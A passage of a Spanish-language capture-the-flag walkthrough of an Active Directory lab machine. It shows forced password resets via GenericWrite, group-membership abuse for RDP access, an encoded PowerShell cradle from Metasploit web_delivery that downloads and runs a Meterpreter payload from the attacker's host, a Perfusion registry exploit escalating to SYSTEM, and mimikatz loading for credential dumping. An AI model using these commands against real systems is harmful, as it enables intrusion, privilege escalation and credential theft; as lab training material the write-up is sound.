Ahora que ya tenemos control sobre la cuenta `FS01$` podemos pivotear hacia la cuenta `ADMWS01$`&#x20;

Con el permiso `GenericWrite` habilitado podemos forzar el cambio de contraseña para la cuenta `ADMWS01$` usando la tool `net`

{% code expandable="true" %}

```vimscript
❯ net rpc password 'ADMWS01$' 'P@ssword456!' -U retro2.vl/'fs01$'%'Password123!' -S 10.129.22.131
```

{% endcode %}

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* `net rpc password` → Utilidad de Samba que realiza cambios de contraseña a través de llamadas a procedimientos remotos (RPC).
* `'ADMWS01$'` → Identifica el objeto de equipo objetivo al cual se le forzará el cambio de contraseña aprovechando el privilegio `GenericWrite`.
* `'P@ssword456!'` → Define la nueva contraseña arbitraria que se inyectará en el atributo `unicodePwd` del objeto.
* `-U retro2.vl/'fs01$'%'Password123!'` → Proporciona las credenciales de la cuenta atacante (`fs01$`) que posee los derechos de escritura necesarios sobre el objetivo.
* `-S 10.129.22.131` → Especifica el servidor o Controlador de Dominio que procesara la solicitud de cambio de atributo.

</details>

Validamos las credenciales nuevas de la cuenta `ADMWS01$` para asegurarnos que el comando anterior fue realizado con éxito.

```vimscript
❯ ./service_validation.sh 10.129.22.131 ADMWS01$ 'P@ssword456!'
[*] Probando credenciales contra 10.129.22.131 con usuario 'ADMWS01$'...

--- Probando smb ---
SMB         10.129.22.131   445    BLN01            [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.22.131   445    BLN01            [+] retro2.vl\ADMWS01$:P@ssword456! 

--- Probando ldap ---
LDAP        10.129.22.131   389    BLN01            [*] Windows 7 / Server 2008 R2 Build 7601 (name:BLN01) (domain:retro2.vl) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.22.131   389    BLN01            [+] retro2.vl\ADMWS01$:P@ssword456!
```

Ahora que controlamos la cuenta de `ADMWS01$` podemos hacer uso del permiso `AddMember` y añadir la cuenta de `ldapreader` al grupo `SERVICES` que enumeramos con Bloodhound anteriormente. Primero voy a enumerar los miembros del grupo para constatar que `ldapreader` no esta en esa lista. Luego lo voy a añadir con [`net`](/securitylayer/comand-line-tools/linux/net.md) y finalmente vuelvo a verificar la lista de miembros del grupo para confirmar que `ldapreader` fue añadido a la lista.

<pre class="language-vimscript"><code class="lang-vimscript">❯ net rpc group members 'Services' -U retro2.vl/ADMWS01$%P@ssword456! -S 10.129.22.131
RETRO2\inventory

❯ net rpc group addmem 'Services' 'ldapreader' -U retro2.vl/ADMWS01$%P@ssword456! -S 10.129.22.131

❯ net rpc group members 'Services' -U retro2.vl/ADMWS01$%P@ssword456! -S 10.129.22.131
RETRO2\inventory
<strong>RETRO2\ldapreader
</strong></code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

Comando 1

* `group members` → Acción para listar todos los integrantes actuales de un grupo de seguridad específico.
* `'Services'` → Nombre del grupo del dominio cuya membresía se va a listar.
* `-U retro2.vl/ADMWS01$%P@ssword456!` → Utiliza las credenciales recién obtenidas de la cuenta de equipo `ADMWS01$` para realizar la consulta LDAP/RPC.

Comando 2

* `group addmem` → Subcomando para agregar un nuevo objeto (usuario o grupo) a un grupo de seguridad.
* `'Services'` → El grupo de destino, el cual otorga acceso indirecto a RDP a través de su membresía en "`Remote Desktop Users`".
* `'ldapreader'` → Identifica al usuario bajo nuestro control que recibirá los nuevos privilegios.
* `-U retro2.vl/ADMWS01$%P@ssword456!` → Autentica la operación usando la cuenta `ADMWS01$`, la cual posee el derecho `AddMember` sobre el grupo objetivo.

</details>

El grupo `SERVICES` es, a su vez, miembro del grupo `REMOTE DESKTOP USERS`. Entonces, al añadir a `ldapreader` a este grupo, el usuario hereda automáticamente el privilegio de acceder al sistema a través del protocolo RDP.

### ***RCE con xfreerdp***

Ya tenemos acceso al RDP con la cuenta `ldapreader`, ahora preparamos el comando para ingresar con `xfreerdp` y buscar la flag de usuario

```vimscript
❯ xfreerdp3 /v:10.129.22.131 /u:ldapreader /p:'ppYaVcB5R' /d:retro2.vl /cert:ignore +clipboard +dynamic-resolution /tls:seclevel:0 /sec:nla
```

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* `xfreerdp3` → Cliente de código abierto para el protocolo de escritorio remoto (RDP) utilizado para establecer conexiones gráficas con sistemas Windows.
* `/v:10.129.24.142` → Define el Host de Destino (V: *Value* o *Server*); especifica la dirección IP del servidor al que me voy a conectar.
* `/u:ldapreader` → Especifica el Nombre de Usuario con el que realizare la autenticación.
* `/p:'ppYaVcB5R'` → Proporciona la Contraseña del usuario en texto claro (extraída previamente de los scripts de VBA de la base de datos).
* `/d:retro2.vl` → Define el Dominio de Active Directory al que pertenece la cuenta para que el controlador de dominio procese el inicio de sesión.
* `/cert:ignore` → Omitimos la verificación del certificado SSL/TLS, algo fundamental en entornos de laboratorio donde los certificados suelen ser autofirmados.
* `+clipboard` → Habilitamos la sincronización del portapapeles entre la máquina de ataque (host) y el servidor remoto (invitado), facilitando la transferencia de comandos o scripts.
* `+dynamic-resolution` → Permite que la resolución de la pantalla remota se ajuste automáticamente al cambiar el tamaño de la ventana del cliente (maquina atacante).
* `/tls:seclevel:0` → Reduce el nivel de seguridad de TLS a 0; este parámetro es crítico para conectar con sistemas operativos antiguos como Windows Server 2008 R2, que no soportan estándares de cifrado modernos.
* `/sec:nla` → Fuerza el uso de Autenticación a Nivel de Red (Network Level Authentication), que es el protocolo de seguridad estándar en la mayoría de los servidores Windows modernos para validar al usuario antes de establecer la sesión gráfica completa.

</details>

<figure><img src="/files/VibKm1YjsJm3zOV1xozB" alt="" width="497"><figcaption></figcaption></figure>

### ***De xfreerdp a C2 con web\_delivery de msfconsole***

Ya tenemos acceso a una sesión interactiva básica pero lo que necesito ahora es pasar a una sesión de Comando y Control (C2) avanzada con Meterpreter para luego poder probar exploits y escalar privilegios. Esto lo puedo lograr gracias a que ya tengo un acceso inicial básico y en msfconsole existe un módulo llamado [`web_delivery`](/securitylayer/como-usar-metasploit/msfconsole/modulos-and-exploits.md#exploit-multi-script-web_delivery) que me permite obtener un C2.&#x20;

`web_delivery` es un módulo diseñado para servir un payload a través de un servidor HTTP local. Es una técnica de "Living-off-the-Land" (LotL) porque no requiere subir un archivo `.exe` inicialmente, reduciendo la firma en disco. Para levantar este c2 voy a seguir estos pasos:

1\) Configuro el módulo y lo ejecuto (dejo el listener en escucha):

<pre class="language-vimscript" data-expandable="true"><code class="lang-vimscript"><strong>❯ msfconsole -q
</strong>[*] Starting persistent handler(s)...
<strong>[msf](Jobs:0 Agents:0) >> use exploit/multi/script/web_delivery
</strong>[*] Using configured payload python/meterpreter/reverse_tcp
<strong>[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) >> show options
</strong>
Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to lis
                                       ten on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Python

View the full module info with the info, or info -d command.

<strong>[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) >> set target 2
</strong>target => 2
<strong>[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) >> set payload windows/x64/meterpreter/reverse_tcp
</strong>payload => windows/x64/meterpreter/reverse_tcp
<strong>[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) >> set lhost 10.10.16.60
</strong>lhost => 10.10.16.60
<strong>[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) >> set lport 4444
</strong>lport => 4444
<strong>[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) >> exploit -j
</strong>[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.16.60:4444 
[*] Using URL: http://10.10.16.60:8080/DxsUKukXzHg
<strong>[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >> [*] Server started.
</strong>[*] Run the following command on the target machine:
<strong>powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABwAEkATwBXAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHAASQBPAFcALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABwAEkATwBXAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4ANgAwADoAOAAwADgAMAAvAEQAeABzAFUASwB1AGsAWAB6AEgAZwAvAE4AUgBFAFMAMABJADUAegBVAFMAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADYAMAA6ADgAMAA4ADAALwBEAHgAcwBVAEsAdQBrAFgAegBIAGcAJwApACkAOwA=
</strong>[*] 10.129.24.142    web_delivery - Delivering AMSI Bypass (1366 bytes)
[*] 10.129.24.142    web_delivery - Delivering Payload (3690 bytes)
[*] Sending stage (232006 bytes) to 10.129.24.142
<strong>[*] Meterpreter session 1 opened (10.10.16.60:4444 -> 10.129.24.142:49389) at 2026-04-22 18:51:42 -0300
</strong></code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* `set target 2` → Define el vector de ejecución en el objetivo. En este módulo, el target `2` corresponde específicamente a PowerShell.
* `set payload windows/x64/meterpreter/reverse_tcp` → Establece el agente post-explotación (Meterpreter) en su versión de 64 bits, configurado para conectar de vuelta al atacante (Reverse TCP).
* `set lhost 10.10.16.60` → Define la dirección IP del atacante (mi máquina) donde el servidor y el manejador (*handler*) estarán escuchando.
* `exploit -j` → Ejecuta el módulo como un trabajo en segundo plano (*job*). Esto levanta un servidor web en el puerto `8080` que aloja el script malicioso.

Por ultimó Metasploit me generó un comando codificado en Base64 (`-e WwBOAG...`) para ser ejecutado en la víctima (`10.129.24.142`). Su estructura técnica realiza lo siguiente:

* Bypass de Políticas: Usa flags como `-nop` (no profile) y `-w hidden` (ventana oculta) para evadir sospechas del usuario y configuraciones locales.
* Descarga en Memoria (Cradle): El comando decodificado utiliza el objeto `Net.WebClient` para realizar un `DownloadString` hacia la URL generada (`http://10.10.16.60:8080/Dxs...`). Esto descarga el script de PowerShell directamente en la memoria RAM, sin tocar el disco duro.
* Ejecución (`IEX`): Utiliza el comando `Invoke-Expression` (IEX) para ejecutar el código descargado inmediatamente.

</details>

2\) En la sesión de `xfreerdp` que tenemos abierta vamos a ejecutar el comando de ps que nos dio msfconsole en una sesión de powershell

```vimscript
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABwAEkATwBXAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHAASQBPAFcALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABwAEkATwBXAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4ANgAwADoAOAAwADgAMAAvAEQAeABzAFUASwB1AGsAWAB6AEgAZwAvAE4AUgBFAFMAMABJADUAegBVAFMAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADYAMAA6ADgAMAA4ADAALwBEAHgAcwBVAEsAdQBrAFgAegBIAGcAJwApACkAOwA=
```

<figure><img src="/files/r3GteiaynZkfRWXSON9e" alt="" width="563"><figcaption></figcaption></figure>

3\) Recibo la conexión entrante y se crea la sesión en meterpreter. Verificó que puedo usar esa session y que el usuario es `ldapreader`

<pre class="language-vimscript"><code class="lang-vimscript">[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >> [*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABwAEkATwBXAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHAASQBPAFcALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABwAEkATwBXAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4ANgAwADoAOAAwADgAMAAvAEQAeABzAFUASwB1AGsAWAB6AEgAZwAvAE4AUgBFAFMAMABJADUAegBVAFMAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADYAMAA6ADgAMAA4ADAALwBEAHgAcwBVAEsAdQBrAFgAegBIAGcAJwApACkAOwA=
[*] 10.129.24.142    web_delivery - Delivering AMSI Bypass (1366 bytes)
[*] 10.129.24.142    web_delivery - Delivering Payload (3690 bytes)
[*] Sending stage (232006 bytes) to 10.129.24.142
<strong>[*] Meterpreter session 1 opened (10.10.16.60:4444 -> 10.129.24.142:49389) at 2026-04-22 18:51:42 -0300
</strong>
<strong>[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >> sessions -i
</strong>
Active sessions
===============

  Id  Name  Type                     Information                Connection
  --  ----  ----                     -----------                ----------
<strong>  1         meterpreter x64/windows  RETRO2\ldapreader @ BLN01  10.10.16.60:4444 -> 10.129.24.142:49389 (10.129.24.142)
</strong>
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) >> sessions -i 1
[*] Starting interaction with 1...

<strong>(Meterpreter 1)(C:\Users\ldapreader) > getuid
</strong>Server username: RETRO2\ldapreader
<strong>(Meterpreter 1)(C:\Users\ldapreader) > background
</strong>[*] Backgrounding session 1...
</code></pre>

<details>

<summary>📌 <em><strong>Notas</strong></em></summary>

Evasión y Conexión Final

* `Delivering AMSI Bypass` → El módulo detecta o asume la presencia de un *Antimalware Scan Interface (AMSI)* e intenta desactivarlo o evadirlo antes de ejecutar el payload principal. Aunque Windows Server 2008 R2 no incluye AMSI de forma nativa, Metasploit ejecuta este paso por defecto para asegurar la ejecución en sistemas más modernos.
* `Sending stage` → Una vez que el pequeño script inicial (*stager*) se ejecuta en la víctima, este solicita el resto del código de Meterpreter (el *stage*) desde mi servidor.
* `Meterpreter session 1 opened` → Se logra establecer un canal de comunicación cifrado y persistente que me permite realizar acciones avanzadas como volcado de memoria (hashdump), pivotaje de red o la ejecución del exploit de escalada de privilegios.

</details>

### ***Local Privilege Excalation con Perfusion***

Para conseguir escalar privilegios en esta máquina existe un exploit llamado `perfusion` que se encarga de abusar una deficiencia crítica de permisos (ACLs débiles) dentro del registro de Windows. Lo que yo hice fue una adaptación de este exploit para usarlo directamente desde meterpreter ([`msfconsole`](/securitylayer/como-usar-metasploit/msfconsole.md)) simplificando el proceso de carga y ejecutando todo desde consola sin interfaz gráfica. El módulo adaptado se encuentra en mi repositorio de github, alli explico el paso a paso para integrarlo a la bbd de Metasploit: [***perfusion\_msf***](https://github.com/SecurityLayer404/perfusion_msf---Metasploit-Module)

Una vez que tenemos el módulo en nuestro equipo recargamos msfconsole para que reconozca el los cambios y procedemos a setear el exploit:

<pre class="language-vimscript" data-expandable="true"><code class="lang-vimscript"><strong>[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) >> reload_all
</strong>[*] Reloading modules from all module paths...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here

[*] Reloading module...

<strong>[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) >> use exploit/windows/local/perfusion_msf
</strong>[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
<strong>[msf](Jobs:1 Agents:1) exploit(windows/local/perfusion_msf) >> show options
</strong>
Module options (exploit/windows/local/perfusion_msf):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   SESSION                          yes       The session to run this module on
   TARGET_SERVICE  RpcEptMapper     yes       El servicio vulnerable a explotar (Accepted: RpcEptMapper, DnsCache)

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.3      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows x64

View the full module info with the info, or info -d command.

<strong>[msf](Jobs:1 Agents:1) exploit(windows/local/perfusion_msf) >> set session 1
</strong>session => 1
<strong>[msf](Jobs:1 Agents:1) exploit(windows/local/perfusion_msf) >> set payload windows/x64/meterpreter/reverse_tcp
</strong>payload => windows/x64/meterpreter/reverse_tcp
<strong>[msf](Jobs:1 Agents:1) exploit(windows/local/perfusion_msf) >> set lhost 10.10.16.60
</strong>lhost => 10.10.16.60
<strong>[msf](Jobs:1 Agents:1) exploit(windows/local/perfusion_msf) >> set lport 4455
</strong>lport => 4455
<strong>[msf](Jobs:1 Agents:1) exploit(windows/local/perfusion_msf) >> exploit
</strong>[*] Started reverse TCP handler on 10.10.16.60:4455 
[*] Generando payload DLL para la arquitectura del objetivo...
[*] Subiendo DLL a C:\Users\LDAPRE~1\AppData\Local\Temp\2\RuhFpoXK.dll...
[*] Envenenando la clave del registro: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance
[+] Disparando la consulta WMI para cargar la DLL como SYSTEM...
[*] Sending stage (232006 bytes) to 10.129.25.205
[!] Wmic generó un timeout, esto es normal si el payload capturó el hilo: Send timed out
[*] Limpiando rastros del registro y sistema de archivos...
[+] Deleted C:\Users\LDAPRE~1\AppData\Local\Temp\2\RuhFpoXK.dll
<strong>[*] Meterpreter session 2 opened (10.10.16.60:4455 -> 10.129.25.205:49249) at 2026-04-25 15:01:37 -0300
</strong>
<strong>(Meterpreter 2)(C:\Windows\system32) > getuid
</strong>Server username: NT AUTHORITY\SYSTEM
</code></pre>

Y asi conseguimos rootear la maquina, ahora podemos leer la utlima flag:

{% code expandable="true" %}

```vim
(Meterpreter 2)(C:\Windows\system32) > cd ../../Users/administrator/Desktop
(Meterpreter 2)(C:\Users\administrator\Desktop) > dir
Listing: C:\Users\administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2024-08-17 11:17:33 -0300  desktop.ini
100666/rw-rw-rw-  32    fil   2025-04-11 08:00:21 -0300  root.txt

(Meterpreter 2)(C:\Users\administrator\Desktop) > cat root.txt
cb462d**************************
```

{% endcode %}

### ***Bonus: Extracción de hashes y contraseñas con el modulo kiwi (mimikatz)***

<pre class="language-vimscript" data-expandable="true"><code class="lang-vimscript"><strong>(Meterpreter 2)(C:\Windows\system32) > load kiwi
</strong>Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
<strong>(Meterpreter 2)(C:\Windows\system32) > ps
</strong>
Process List
============

 PID   PPID  Name                        Arch  Session  User                          Path
 ---   ----  ----                        ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                      x64   0
 244   4     smss.exe                    x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 332   320   csrss.exe                   x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 372   320   wininit.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe
 380   364   csrss.exe                   x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 416   364   winlogon.exe                x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 476   372   services.exe                x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe
<strong> 484   372   lsass.exe                   x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe
</strong> 492   372   lsm.exe                     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsm.exe
 532   1252  conhost.exe                 x64   2        RETRO2\ldapreader             C:\Windows\system32\conhost.exe
 648   476   svchost.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\svchost.exe
 664   476   svchost.exe                 x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\system32\svchost.exe
 732   476   svchost.exe                 x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\system32\svchost.exe
 812   416   LogonUI.exe                 x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe
 824   476   svchost.exe                 x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 864   476   svchost.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\svchost.exe
 912   476   svchost.exe                 x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\system32\svchost.exe
 968   476   svchost.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1012  476   svchost.exe                 x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\system32\svchost.exe
 1252  3060  csrss.exe                   x64   2        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 1284  476   spoolsv.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1316  476   Microsoft.ActiveDirectory.  x64   0        NT AUTHORITY\SYSTEM           C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe
 1380  476   dfsrs.exe                   x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\DFSRs.exe
 1416  476   svchost.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1448  476   dns.exe                     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\dns.exe
 1472  476   ismserv.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\ismserv.exe
 1584  2188  rdpclip.exe                 x64   2        RETRO2\ldapreader             C:\Windows\System32\rdpclip.exe
 1592  476   svchost.exe                 x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\system32\svchost.exe
 1628  476   VGAuthService.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe
 1760  476   vm3dservice.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\vm3dservice.exe
 1788  476   vmtoolsd.exe                x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1796  1760  vm3dservice.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\vm3dservice.exe
 1852  476   dfssvc.exe                  x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\dfssvc.exe
 2092  476   vds.exe                     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\vds.exe
 2184  2996  cmd.exe                     x64   2        RETRO2\ldapreader             C:\Windows\system32\cmd.exe
 2188  476   svchost.exe                 x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 2232  2992  powershell.exe              x64   2        RETRO2\ldapreader             C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 2240  476   svchost.exe                 x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\system32\svchost.exe
 2356  476   dllhost.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\dllhost.exe
 2444  476   sppsvc.exe                  x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\system32\sppsvc.exe
 2548  476   msdtc.exe                   x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\msdtc.exe
 2584  476   taskhost.exe                x64   2        RETRO2\ldapreader             C:\Windows\system32\taskhost.exe
 2800  1296  rundll32.exe                x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\rundll32.exe
 2844  968   dwm.exe                     x64   2        RETRO2\ldapreader             C:\Windows\system32\Dwm.exe
 2868  1252  conhost.exe                 x64   2        RETRO2\ldapreader             C:\Windows\system32\conhost.exe
 2992  2996  powershell.exe              x64   2        RETRO2\ldapreader             C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
 2996  2272  explorer.exe                x64   2        RETRO2\ldapreader             C:\Windows\Explorer.EXE
